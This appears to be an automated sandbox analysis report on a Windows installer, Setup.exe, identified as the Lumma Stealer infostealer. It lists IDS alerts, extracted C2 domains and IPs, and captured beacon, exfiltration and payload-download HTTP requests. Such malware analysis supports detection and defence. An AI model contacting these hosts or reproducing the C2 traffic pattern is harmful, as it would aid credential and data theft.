Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: hRjzG3--TRON

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.58:443 -> 192.168.2.5:49843 version: TLS 1.2

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb7K source: powershell.exe, 00000010.00000002.2406936811.00000000075D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000031.00000002.3046150125.00000000386E0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3023892580.000000000367C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000031.00000002.3046150125.00000000386E0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3023892580.000000000367C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2406936811.000000000759A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ystem.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2401835288.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49714 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49714 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49788 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49826 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49720 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49720 -> 172.67.186.189:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: quantitypitt.click
Source: Malware configuration extractor	URLs: framekgirus.shop

Source: Joe Sandbox View	IP Address: 185.161.251.21 185.161.251.21
Source: Joe Sandbox View	IP Address: 172.67.208.58 172.67.208.58

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49714 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49731 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49720 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49763 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49742 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49788 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49810 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49843 -> 172.67.208.58:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49799 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49826 -> 172.67.186.189:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49832 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 172.67.208.58:443 -> 192.168.2.5:49843

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: quantitypitt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: quantitypitt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YAP7EM2IJ6TCLZZMRVEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: quantitypitt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6T0IC80DWVS4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15040Host: quantitypitt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Z613XA0RFMALGU2WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20554Host: quantitypitt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JHJ7120D2JT8AZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5453Host: quantitypitt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CZA25BDK8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1191Host: quantitypitt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PL1F1EW41VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568866Host: quantitypitt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: quantitypitt.click
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: global traffic	DNS traffic detected: DNS query: cKtBIQZTpYxWiHklAhxDUWfOR.cKtBIQZTpYxWiHklAhxDUWfOR
Source: global traffic	DNS traffic detected: DNS query: quantitypitt.click
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: quantitypitt.click

Source: Setup.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://certs.securetrust.com/issuers/TWGCA.crt0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://certs.securetrust.com/issuers/TWGCSCA_L1.crt0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://certs.securetrust.com/issuers/VCTWGTSCA_L1.crt0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: Setup.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Setup.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: powershell.exe, 00000010.00000002.2406936811.00000000075BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft6K
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://crl.securetrust.com/TWGCSCA_L1.crl0y
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://crl.trustwave.com/TWGCA.crl0n
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertru
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://crl.vikingcloud.com/TWGCA.crl0t
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://crl.vikingcloud.com/VCTWGTSCA_L1.crl0
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Setup.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: BrightLib.exe, 00000031.00000002.3023688648.00000000031D0000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3024455523.000000000629C000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3023825851.0000000003310000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3022868657.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://michaeluno.jp/
Source: BrightLib.exe, 00000031.00000002.3023688648.0000000003203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/H
Source: Setup.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp, Setup.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Setup.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: Setup.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://ocsp.securetrust.com/0?
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://ocsp.trustwave.com/06
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://ocsp.vikingcloud.com/0:
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://ocsp.vikingcloud.com/0A
Source: Skill.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: powershell.exe, 00000010.00000002.2402514310.0000000004C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: http://ssl.trustwave.com/issuers/TWGCA.crt0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: BrightLib.exe, 00000031.00000000.2975472495.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000002.3022802026.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.autohotkey.com
Source: BrightLib.exe, 00000031.00000000.2975472495.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000002.3022802026.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.autohotkey.comCould
Source: extrac32.exe, 00000009.00000003.2055746563.00000000070CD000.00000004.00000020.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000000.2060449993.0000000001035000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: Setup.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Setup.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: BrightLib.exe, 00000031.00000002.3046330812.0000000039FA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000010.00000002.2402514310.0000000004C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBcq
Source: Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: https://certs.securetrust.com/CA0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: https://certs.securetrust.com/CA05
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: https://certs.securetrust.com/CA0:
